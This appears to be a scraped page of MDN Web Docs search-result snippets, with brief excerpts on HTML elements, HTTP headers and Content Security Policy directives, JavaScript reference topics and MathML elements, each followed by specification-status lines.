... <nav class="menu"> <ul> <li><a href="#">home</a></li> <li><a href="#">about</a></li> <li><a href="#">contact</a></li> </ul> </nav> specifications specification status comment html living standardthe definition of '<nav>' in that specification.
... recommendation initial definition ...
<noscript> - HTML: Hypertext Markup Language
WebHTMLElementnoscript
specifications specification status comment html living standardthe definition of '<noscript>' in that specification.
... recommendation html 4.01 specificationthe definition of '<noscript>' in that specification.
... recommendation ...
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
no percentages) examples embed a flash movie <!-- embed a flash movie --> <object data="movie.swf" type="application/x-shockwave-flash"></object> <!-- embed a flash movie with parameters --> <object data="movie.swf" type="application/x-shockwave-flash"> <param name="foo" value="bar"> </object> specifications specification status comment html living standardthe definition of '<object>' in that specification.
... recommendation html 4.01 specificationthe definition of '<object>' in that specification.
... recommendation ...
<ol>: The Ordered List element - HTML: Hypertext Markup Language
WebHTMLElementol
--> <ul> <li>second item first subitem</li> <li>second item second subitem</li> <li>second item third subitem</li> </ul> </li> <!-- here's the closing </li> tag --> <li>third item</li> </ol> the above html will output: specifications specification status comment html living standardthe definition of '<ol>' in that specification.
... recommendation added reversed and start attributed; un-deprecated type html 4.01 specificationthe definition of '<ol>' in that specification.
... recommendation deprecated compact and type.
<param>: The Object Parameter element - HTML: Hypertext Markup Language
WebHTMLElementparam
specifications specification status comment html living standardthe definition of '<param>' in that specification.
... recommendation html 4.01 specificationthe definition of '<param>' in that specification.
... recommendation ...
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
common use cases for <picture>: art direction.
... it is composed of a comma-separated list of image descriptors.
... <picture> <source srcset="logo.webp" type="image/webp"> <img src="logo.png" alt="logo"> </picture> specifications specification status comment html living standardthe definition of '<picture>' in that specification.
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
</figcaption> </figure> mdn understanding wcag, guideline 1.1 explanations h86: providing text alternatives for ascii art, emoticons, and leetspeak | w3c techniques for wcag 2.0 specifications specification status comment html living standardthe definition of '<pre>' in that specification.
... recommendation no significant change from html 4.01 specification html 4.01 specificationthe definition of '<pre>' in that specification.
... recommendation deprecated the cols attribute ...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
WebHTMLElementq
example <p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status comment html living standardthe definition of '<q>' in that specification.
... recommendation html 4.01 specificationthe definition of '<q>' in that specification.
... recommendation initial definition ...
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
WebHTMLElementrt
tag omission the end tag may be omitted if the <rt> element is immediately followed by an <rt> or <rp> element, or if there is no more content in the parent element permitted parents a <ruby> element.
...le provides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment html living standardthe definition of '<rt>' in that specification.
... recommendation ...
<section>: The Generic Section element - HTML: Hypertext Markup Language
WebHTMLElementsection
example before <div> <h1>heading</h1> <p>bunch of awesome content</p> </div> after <section> <h1>heading</h1> <p>bunch of awesome content</p> </section> specifications specification status comment html living standardthe definition of '<section>' in that specification.
... recommendation html5the definition of '<section>' in that specification.
... recommendation ...
<span> - HTML: Hypertext Markup Language
WebHTMLElementspan
example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span { background: gold; } result specifications specification status comment html living standardthe definition of '<span>' in that specification.
... recommendation the dom interface is now htmlspanelement.
... recommendation ...
<strike> - HTML: Hypertext Markup Language
WebHTMLElementstrike
example &lt;strike&gt;: <strike>today's special: salmon</strike> sold out<br /> &lt;s&gt;: <s>today's special: salmon</s> sold out the result of this code is: specifications specification status comment html5the definition of '<strike>' in that specification.
... recommendation make obsolete in favor of <del> and <s>.
... recommendation make deprecated in favor of <del> and <s>.
<sub>: The Subscript element - HTML: Hypertext Markup Language
WebHTMLElementsub
this is a common use case for <sub>: <p>according to the computations by nakamura, johnson, and mason<sub>1</sub> this will result in the complete annihilation of both particles.</p> the resulting output looks like this: variable subscripts in mathematics, families of variables related to the same concept (such as distances along the same axis) are represented using the same variable name with a subscript...
... another example: <p>almost every developer's favorite molecule is c<sub>8</sub>h<sub>10</sub>n<sub>4</sub>o<sub>2</sub>, which is commonly known as "caffeine."</p> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification.
... recommendation ...
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript.
... specifications specification status comment html living standardthe definition of 'template element' in that specification.
... recommendation initial definition ...
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
the html <tfoot> element defines a set of rows summarizing the columns of the table.
... specifications specification status comment html living standardthe definition of 'tfoot element' in that specification.
... recommendation ...
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
the end tag may be omitted if the <thead> element is immediately followed by a <tbody> or <tfoot> element.
... specifications specification status comment html living standardthe definition of 'thead element' in that specification.
... recommendation ...
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
9z 2011-11-18 14:54:39.929-0400 2011-11-18 14:54:39.929-04:00 a valid duration string pt4h18m3s examples simple example html <p>the concert starts at <time datetime="2018-07-07t20:00:00">20:00</time>.</p> output datetime example html <p>the concert took place on <time datetime="2001-05-15t19:00">may 15</time>.</p> output specifications specification status comment html living standardthe definition of '<time>' in that specification.
... recommendation no change from html5 html5the definition of '<time>' in that specification.
... recommendation initial definition.
<wbr> - HTML: Hypertext Markup Language
WebHTMLElementwbr
example the yahoo style guide recommends breaking a url before punctuation, to avoid leaving a punctuation mark at the end of the line, which the reader might mistake for the end of the url.
... <p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status comment html living standardthe definition of '<wbr>' in that specification.
... recommendation ...
<xmp> - HTML: Hypertext Markup Language
WebHTMLElementxmp
summary the html example element (<xmp>) renders text between the start and end tags without interpreting the html in between and using a monospaced font.
... the html2 specification recommended that it should be rendered wide enough to allow 80 characters per line.
... attributes this element has no other attributes than the global attributes, common to all elements.
data-* - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, initial definition.
draggable - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'draggable' in that specification.
... recommendation no change html 5.1the definition of 'draggable' in that specification.
... recommendation snapshot of html living standard, initial definition ...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want.
... specifications specification status comment preloadthe definition of 'preload' in that specification.
... candidate recommendation further details of preload.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
to ensure that your page uses full standards mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one recommended by html5.
... earlier versions of the html standard recommended other variants, but all existing browsers today will use full standards mode for this doctype, even the dated internet explorer 6.
...anything before the doctype, like a comment or an xml declaration will trigger quirks mode in internet explorer 9 and older.
HTTP authentication - HTTP
the syntax for these headers is the following: www-authenticate: <type> realm=<realm> proxy-authenticate: <type> realm=<realm> here, <type> is the authentication scheme ("basic" is the most common scheme and introduced below).
... the most common authentication scheme is the "basic" authentication scheme, which is introduced in more detail below.
...common authentication schemes include: basic see rfc 7617, base64-encoded credentials.
Data URLs - HTTP
encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument).
... [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here common problems this section describes problems that commonly occur when creating and using data urls.
... data:text/html,lots of text...<p><a name%3d"bottom">bottom</a>?arg=val this represents an html resource whose contents are: lots of text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a comma before the "data" segment, or to incorrectly encode the data into base64 format.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
the header itself accepts a comma-delineated list of origins, so adding a new origin is not difficult.
...the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file.
... header set access-control-allow-origin 'origin-list' for nginx, the command to set up this header is: add_header 'access-control-allow-origin' 'origin-list' ...
Compression in HTTP - HTTP
for images, an image generated by a tool could be not optimized enough for the web; it is recommended to use tools that will compress as much as possible with the required quality.
...nowadays, only two are relevant: gzip, the most common one, and br the new challenger.
... as compression brings significant performance improvements, it is recommended to activate it for all files, but already compressed ones like images, audio files and videos.
Connection management in HTTP/1.x - HTTP
http pipelining http pipelining is not activated by default in modern browsers: buggy proxies are still common and these lead to strange and erratic behaviors that web developers cannot foresee and diagnose easily.
... domain sharding unless you have a very specific immediate need, don't use this deprecated technique; switch to http/2 instead.
...default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections.
CSP: base-uri - HTTP
you can also specify data schemes (not recommended).
... <meta http-equiv="content-security-policy" content="base-uri 'self'"> <base href="https://example.com/"> // error: refused to set the document's base uri to 'https://example.com/' // because it violates the following content security policy // directive: "base-uri 'self'" specifications specification status comment content security policy level 3the definition of 'base-uri' in that specification.
... recommendation initial definition.
CSP: child-src - HTTP
you can also specify data schemas (not recommended).
... examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definition of 'child-src' in that specification.
... recommendation initial definition.
CSP: connect-src - HTTP
you can also specify data schemes (not recommended).
...}); </script> specifications specification status comment content security policy level 3the definition of 'connect-src' in that specification.
... recommendation initial definition.
CSP: default-src - HTTP
you can also specify data schemes (not recommended).
... frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src https://example.com; style-src 'self'; worker-src 'self' specifications specification status comment content security policy level 3the definition of 'default-src' in that specification.
... recommendation initial definition.
CSP: font-src - HTTP
you can also specify data schemas (not recommended).
... examples violation cases given this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src: url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status comment content security policy level 3the definition of 'font-src' in that specification.
... recommendation initial definition.
CSP: form-action - HTTP
you can also specify data schemes (not recommended).
... specifications specification status comment content security policy level 3the definition of 'form-action' in that specification.
... recommendation initial definition.
CSP: frame-ancestors - HTTP
you can also specify data schemes (not recommended).
... examples content-security-policy: frame-ancestors 'none'; content-security-policy: frame-ancestors 'self' https://www.example.org; specifications specification status comment content security policy level 3the definition of 'frame-ancestors' in that specification.
... recommendation initial definition.
CSP: frame-src - HTTP
you can also specify data schemas (not recommended).
... examples violation cases given this csp header: content-security-policy: frame-src https://example.com/ the following <iframe> is blocked and won't load: <iframe src="https://not-example.com/"></iframe> specifications specification status comment content security policy level 3the definition of 'frame-src' in that specification.
... recommendation deprecates frame-src.
CSP: img-src - HTTP
you can also specify data schemes (not recommended).
... examples violation cases given this csp header: content-security-policy: img-src https://example.com/ the following <img> is blocked and won't load: <img src="https://not-example.com/foo.jpg" alt="example picture"> specifications specification status comment content security policy level 3the definition of 'img-src' in that specification.
... recommendation initial definition.
CSP: media-src - HTTP
you can also specify data schemas (not recommended).
...on cases given this csp header: content-security-policy: media-src https://example.com/ the following <audio>, <video> and <track> elements are blocked and won't load: <audio src="https://not-example.com/audio"></audio> <video src="https://not-example.com/video"> <track kind="subtitles" src="https://not-example.com/subtitles"> </video> specifications specification status comment content security policy level 3the definition of 'media-src' in that specification.
... recommendation initial definition.
CSP: style-src - HTTP
you can also specify data schemes (not recommended).
...if 'unsafe-eval' isn't specified with the style-src directive, the following methods are blocked and won't have any effect: cssstylesheet.insertrule() cssgroupingrule.insertrule() cssstyledeclaration.csstext specifications specification status comment content security policy level 3the definition of 'style-src' in that specification.
... recommendation initial definition.
CSP: upgrade-insecure-requests - HTTP
it is recommended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http.
... specifications specification status comment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
... candidate recommendation initial definition.
Index - HTTP
WebHTTPHeadersIndex
found 122 pages: # page tags and summary 1 http headers http, http header, networking, overview, reference http headers allow the client and the server to pass additional information with the request or the response.
...(by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header.
... 99 server-timing http, performance, reference, header the server-timing header communicates one or more metrics and descriptions for a given request-response cycle.
HTTP request methods - HTTP
WebHTTPMethods
each of them implements a different semantic, but some common features are shared by a group of them: e.g.
... options the options method is used to describe the communication options for the target resource.
... specifications specification title comment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and content specifies get, head, post, put, delete, connect, options, trace.
HTTP response status codes - HTTP
WebHTTPStatus
it is noncommittal, since there is no way in http to later send an asynchronous response indicating the outcome of the request.
...(there is no standardized way of choosing one of the responses, but html links to the possibilities are recommended so the user can pick.) 301 moved permanently the url of the requested resource has been changed permanently.
...common causes are a server that is down for maintenance or that is overloaded.
HTTP
WebHTTP
it was designed for communication between web browsers and web servers, but it can also be used for other purposes.
...web pages today very commonly load cross-site resources, including css stylesheets, images, scripts, and other resources.
... http request methods the different operations that can be done with http: get, post, and also less common requests like options, delete, or trace.
Concurrency model and the event loop - JavaScript
here is an example that demonstrates this concept (settimeout does not run immediately after its timer expires): const s = new date().getseconds(); settimeout(function() { // prints out "2", meaning that the callback is not called immediately after 500 milliseconds.
...as a default time value of 0 console.log('this is just a message'); settimeout(function cb1() { console.log('callback 2: this is a msg from call back'); }, 0); console.log('this is the end'); })(); // "this is the start" // "this is just a message" // "this is the end" // "callback 1: this is a msg from call back" // "callback 2: this is a msg from call back" several runtimes communicating together a web worker or a cross-origin iframe has its own stack, heap, and message queue.
... two distinct runtimes can only communicate through sending messages via the postmessage method.
Regular expression syntax cheatsheet - JavaScript
if the multiline flag is set to true, also matches immediately after a line break character.
...if the multiline flag is set to true, also matches immediately before a line break character.
...for example, /e?le?/ matches the "el" in "angel" and the "le" in "angle." if used immediately after any of the quantifiers *, +, ?, or {}, makes the quantifier non-greedy (matching the minimum number of times), as opposed to the default, which is greedy (matching the maximum number of times).
SyntaxError: missing } after property list - JavaScript
might be in fact a missing curly bracket, but could also be a missing comma.
...might be in fact a missing curly bracket, but could also be a missing comma, for example.
... examples forgotten comma oftentimes, there is a missing comma in your object initializer code: var obj = { a: 1, b: { myprop: 2 } c: 3 }; correct would be: var obj = { a: 1, b: { myprop: 2 }, c: 3 }; ...
Array.prototype.join() - JavaScript
the join() method creates and returns a new string by concatenating all of the elements in an array (or an array-like object), separated by commas or a specified separator string.
...if omitted, the array elements are separated with a comma (",").
... examples joining an array four different ways the following example creates an array, a, with three elements, then joins the array four times: using the default separator, then a comma and a space, then a plus and an empty string.
Function.prototype.bind() - JavaScript
the partial implementation creates functions that do not have immutable "poison pill" caller and arguments properties that throw a typeerror upon get, set, or deletion.
... a common mistake for new javascript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code).
... the original object, neatly solves this problem: this.x = 9; // 'this' refers to global 'window' object here in a browser const module = { x: 81, getx: function() { return this.x; } }; module.getx(); // returns 81 const retrievex = module.getx; retrievex(); // returns 9; the function gets invoked at the global scope // create a new function with 'this' bound to module // new programmers might confuse the // global variable 'x' with module's property 'x' const boundgetx = retrievex.bind(module); boundgetx(); // returns 81 partially applied functions the next simplest use of bind() is to make a function with pre-specified initial arguments.
JSON - JavaScript
objects and arrays property names must be double-quoted strings; trailing commas are forbidden.
... consider this example where json.parse() parses the string as json and eval executes the string as javascript: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and having no provisions for undefined or comments.
... for those who wish to use a more human-friendly configuration format based on json, there is json5, used by the babel compiler, and the more commonly used yaml.
Object.create() - JavaScript
this is especially true when debugging, since common object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors).
...for example: a simple common debugging function: // display top-level property name:value pairs of given object function showproperties(obj){ for(var prop in obj){ console.log(prop + ": " + obj[prop] + "\n" ); } } not such simple results: (especially if silent error-trapping had hidden the error messages) ob={}; ob.po=oco; ob.pn=ocn; // create a compound object using the test objects from above as property value...
... var obj = object.create({ a: 1, b: 2 }); > console.log(object.entries(obj)); // shows "[]" some non-solutions a good solution for the missing object-methods is not immediately apparent.
Object.preventExtensions() - JavaScript
attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most commonly, but not exclusively, when in strict mode).
... this method makes the [[prototype]] of the target immutable; any [[prototype]] re-assignment will throw a typeerror.
...function fail() { 'use strict'; // throws a typeerror nonextensible.newproperty = 'fail'; } fail(); a non-extensible object's prototype is immutable: var fixed = object.preventextensions({}); // throws a 'typeerror'.
Object.seal() - JavaScript
this has the effect of making the set of properties on the object fixed and immutable.
...attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most commonly, although not exclusively, when in strict mode code).
... comparison to object.freeze() existing properties in objects frozen with object.freeze() are made immutable.
Set - JavaScript
lse } } return true } function union(seta, setb) { let _union = new set(seta) for (let elem of setb) { _union.add(elem) } return _union } function intersection(seta, setb) { let _intersection = new set() for (let elem of setb) { if (seta.has(elem)) { _intersection.add(elem) } } return _intersection } function symmetricdifference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { if (_difference.has(elem)) { _difference.delete(elem) } else { _difference.add(elem) } } return _difference } function difference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { _difference.delete(elem) } ...
... return _difference } // examples let seta = new set([1, 2, 3, 4]) let setb = new set([2, 3]) let setc = new set([3, 4, 5, 6]) issuperset(seta, setb) // => true union(seta, setc) // => set [1, 2, 3, 4, 5, 6] intersection(seta, setc) // => set [3, 4] symmetricdifference(seta, setc) // => set [1, 2, 5, 6] difference(seta, setc) // => set [1, 2] relation with array objects let myarray = ['value1', 'value2', 'value3'] // use the regular set constructor to transform an array into a set let myset = new set(myarray) myset.has('value1') // returns true // use the spread operator to transform a set into an array.
...actly the same array as myarray remove duplicate elements from the array // use to remove duplicate elements from the array const numbers = [2,3,4,4,2,3,3,4,4,5,5,6,6,7,5,32,3,4,5] console.log([...new set(numbers)]) // [2, 3, 4, 5, 6, 7, 32] relation with strings let text = 'india' let myset = new set(text) // set ['i', 'n', 'd', 'i', 'a'] myset.size // 5 //case sensitive & duplicate ommision new set("firefox") // set(7) [ "f", "i", "r", "e", "f", "o", "x" ] new set("firefox") // set(6) [ "f", "i", "r", "e", "o", "x" ] specifications specification ecmascript (ecma-262)the definition of 'set' in that specification.
TypedArray - JavaScript
on the following pages you will find common properties and methods that can be used with any typed array containing elements of any type.
... all typedarrays constructors inherit common properties from the %typedarray% constructor function.
...these objects all have a common syntax for their constructors: new typedarray(); new typedarray(length); new typedarray(typedarray); new typedarray(object); new typedarray(buffer [, byteoffset [, length]]); where typedarray is a constructor for one of the concrete types.
Optional chaining (?.) - JavaScript
using optional chaining with function calls causes the expression to automatically return undefined instead of throwing an exception if the method isn't found: let result = someinterface.custommethod?.(); note: if there is a property with such a name and which is not a function, using ?.
... will still raise a typeerror exception (someinterface.custommethod is not a function).
...at this position as well: someinterface?.custommethod?.() dealing with optional callbacks or event handlers if you use callbacks or fetch methods from an object with a destructuring assignment, you may have non-existent values that you cannot call as functions unless you have tested their existence.
this - JavaScript
similarly, the this binding is only affected by the most immediate member reference.
...the fact that the object is itself a member of o has no consequence; the most immediate reference is all that matters.
... otherwise, * // the result of the expression is the object * // currently bound to |this| * // (i.e., the common case most usually seen).
async function - JavaScript
} async function concurrentstart() { console.log('==concurrent start with await=='); const slow = resolveafter2seconds() // starts timer immediately const fast = resolveafter1second() // starts timer immediately // 1.
...this runs 2 seconds after 1., immediately after 2., since fast is already resolved } function concurrentpromise() { console.log('==concurrent start with promise.all==') return promise.all([resolveafter2seconds(), resolveafter1second()]).then((messages) => { console.log(messages[0]) // slow console.log(messages[1]) // fast }) } async function parallel() { console.log('==parallel with await promise.all==') // start 2 "jobs" in parallel and wait for both of them to complete await promise.all([ (async()=>console.log(await resolveafter2seconds()))(), (async()=>console.log(await resolveafter1second()))() ]) } sequentialstart() // a...
... this highlights the subtle difference between return foo; and return await foo; — return foo immediately returns foo and never throws, even if foo is a promise that rejects.
const - JavaScript
it does not mean the value it holds is immutable—just that the variable identifier cannot be reassigned.
... examples basic const usage constants can be declared with uppercase or lowercase, but a common convention is to use all-uppercase letters.
...my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable.
with - JavaScript
use of the with statement is not recommended, as it may be the source of confusing bugs and compatibility issues.
... using with is not recommended, and is forbidden in ecmascript 5 strict mode.
... the recommended alternative is to assign the object whose properties you want to access to a temporary variable.
Strict mode - JavaScript
sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future.
... second, in strict mode it's no longer possible to "walk" the javascript stack via commonly-implemented extensions to ecmascript.
...but it is the recommendation of the ecmascript committee, and browsers will implement it.
Web app manifests
can pwa manifest contain comments?
... it is a json-formatted file, with one exception: it is allowed to contain "//"-style comments.
... specifications specification status comment web app manifest working draft initial definition.
Values - MathML
(the "x"-height of the element, 1ex ≈ 0.5em in many fonts) px pixels in inches (1 inch = 2.54 centimeters) cm centimeters mm millimeters pt points (1 point = 1/72 inch) pc picas (1 pica = 12 points) % percentage of the default value.
... constants a replacement for the deprecated constants below is: veryverythinmathspace => 0.05555555555555555em verythinmathspace => 0.1111111111111111em thinmathspace => 0.16666666666666666em mediummathspace => 0.2222222222222222em thickmathspace => 0.2777777777777778em verythickmathspace => 0.3333333333333333em veryverythickmathspace => 0.3888888888888889em constant value veryverythinmathspace 1/18em verythinmathspace 2/18em thinmathspace 3/18em mediummathspace 4/18em thickmathspace 5/18em verythickmathspace 6/18em veryverythickmathspace 7/18em negative contstants are introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey...
... 2.4) (bug 650530) negativeveryverythinmathspace -1/18em negativeverythinmathspace -2/18em negativethinmathspace -3/18em negativemediummathspace -4/18em negativethickmathspace -5/18em negativeverythickmathspace -6/18em negativeveryverythickmathspace -7/18em note: namedspace binding is deprecated in mathml3 and has been removed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) (bug 673759).
<maction> - MathML
<math> <maction actiontype="toggle"> <mfrac> <mn>6</mn> <mn>8</mn> </mfrac> <mfrac> <mrow> <mn>3</mn> <mo>&sdot;</mo> <mn>2</mn> </mrow> <mrow> <mn>4</mn> <mo>&sdot;</mo> <mn>2</mn> </mrow> </mfrac> <mfrac> <mn>3</mn> <mn>4</mn> </mfrac> </maction> </math> specifications specification status comment mathml 3.0the definition of 'maction' in that specification.
... recommendation current specification mathml 2.0the definition of 'maction' in that specification.
... recommendation initial specification ...
<math> - MathML
WebMathMLElementmath
specifications specification status comment mathml 3.0the definition of 'the top-level math element' in that specification.
... recommendation current specification mathml 2.0the definition of 'the top-level math element' in that specification.
... recommendation initial specification ...
<menclose> - MathML
tents madruwb a2 + b2 arabic factorial symbol updiagonalarrow a2 + b2 diagonal arrow phasorangle a2 + b2 phasor angle examples <math> <menclose notation="circle box"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </menclose> </math> specifications specification status comment mathml 3.0the definition of 'menclose' in that specification.
... recommendation current specification mathml 2.0the definition of 'menclose' in that specification.
... recommendation initial specification ...
<merror> - MathML
WebMathMLElementmerror
examples <math> <merror> <mrow> <mtext> division by zero: </mtext> <mfrac> <mn> 1 </mn> <mn> 0 </mn> </mfrac> </mrow> </merror> </math> specifications specification status comment mathml 3.0the definition of 'merror' in that specification.
... recommendation current specification mathml 2.0the definition of 'merror' in that specification.
... recommendation initial specification ...
<mfenced> - MathML
the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression.
...the default value is ")" and any white space is trimmed.
...the default value is "(" and any white space is trimmed.
<mfrac> - MathML
WebMathMLElementmfrac
examples sample rendering: your browser rendering: a b c d <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math> specifications specification status comment mathml 3.0the definition of 'mfrac' in that specification.
... recommendation current specification mathml 2.0the definition of 'mfrac' in that specification.
... recommendation initial specification ...
<mglyph> - MathML
WebMathMLElementmglyph
examples <math> <mi><mglyph src="my-glyph.png" alt="my glyph"/></mi> </math> specifications specification status comment mathml 3.0the definition of 'mglyph' in that specification.
... recommendation current specification mathml 2.0the definition of 'mglyph' in that specification.
... recommendation initial specification ...
<mi> - MathML
WebMathMLElementmi
d-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mi> y </mi> <mi> sin </mi> <mi mathvariant="monospace"> x </mi> <mi mathvariant="bold"> &pi; </mi> </math> specifications specification status comment mathml 3.0the definition of 'mi' in that specification.
... recommendation current specification mathml 2.0the definition of 'mi' in that specification.
... recommendation initial specification ...
<mlabeledtr> - MathML
examples rendering: <math> <mtable> <mlabeledtr> <mtd><mn>1</mn></mtd> <!-- label --> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mlabeledtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> <mtd><mi>e</mi></mtd> </mtr> </mtable> </math> specifications specification status comment mathml 3.0the definition of 'mlabeledtr' in that specification.
... recommendation current specification mathml 2.0the definition of 'mlabeledtr' in that specification.
... recommendation initial specification ...
<mover> - MathML
WebMathMLElementmover
examples sample rendering: rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23de; <!--top curly bracket--> </mo> </mover> </math> specifications specification status comment mathml 3.0the definition of 'mover' in that specification.
... recommendation current specification mathml 2.0the definition of 'mover' in that specification.
... recommendation initial specification ...
<mphantom> - MathML
examples sample rendering: rendering in your browser: x + y + z <math> <mrow> <mi> x </mi> <mo> + </mo> <mphantom> <mi> y </mi> <mo> + </mo> </mphantom> <mi> z </mi> </mrow> </math> specifications specification status comment mathml 3.0the definition of 'mphantom' in that specification.
... recommendation current specification mathml 2.0the definition of 'mphantom' in that specification.
... recommendation initial specification ...
<mroot> - MathML
WebMathMLElementmroot
examples sample rendering: rendering in your browser: x 3 <math> <mroot> <mi>x</mi> <mn>3</mn> </mroot> </math> specifications specification status comment mathml 3.0the definition of 'mroot' in that specification.
... recommendation current specification mathml 2.0the definition of 'mroot' in that specification.
... recommendation initial specification ...
<mrow> - MathML
WebMathMLElementmrow
examples <math> <mrow> <mn> 1 </mn> <mo> + </mo> <mn> 1 </mn> </mrow> <mrow> <mo> ( </mo> <mrow> <mi> x </mi> <mo> , </mo> <mi> y </mi> </mrow> <mo> ) </mo> </mrow> </math> specifications specification status comment mathml 3.0the definition of 'mrow' in that specification.
... recommendation current specification mathml 2.0the definition of 'mrow' in that specification.
... recommendation initial specification ...
<msqrt> - MathML
WebMathMLElementmsqrt
examples sample rendering: rendering in your browser: x <math> <msqrt> <mi>x</mi> </msqrt> </math> specifications specification status comment mathml 3.0the definition of 'msqrt' in that specification.
... recommendation current specification mathml 2.0the definition of 'msqrt' in that specification.
... recommendation initial specification ...
<mstyle> - MathML
WebMathMLElementmstyle
tchy="true" form="prefix">&sum;</mo> <mrow> <mi>i</mi> <mo form="infix">=</mo> <mn>1</mn> </mrow> <mi>n</mi> </munderover> <mstyle displaystyle="true"> <mfrac> <mn>1</mn> <mi>n</mi> </mfrac> </mstyle> </mrow> </mstyle> </math> specifications specification status comment mathml 3.0the definition of 'mstyle' in that specification.
... recommendation current specification mathml 2.0the definition of 'mstyle' in that specification.
... recommendation initial specification ...
<msub> - MathML
WebMathMLElementmsub
examples sample rendering: rendering in your browser: x 1 <math> <msub> <mi>x</mi> <mn>1</mn> </msub> </math> specifications specification status comment mathml 3.0the definition of 'msub' in that specification.
... recommendation current specification mathml 2.0the definition of 'msub' in that specification.
... recommendation initial specification ...
<msubsup> - MathML
examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <msubsup> <mo> &#x222b;<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status comment mathml 3.0the definition of 'msubsup' in that specification.
... recommendation current specification mathml 2.0the definition of 'msubsup' in that specification.
... recommendation initial specification ...
<msup> - MathML
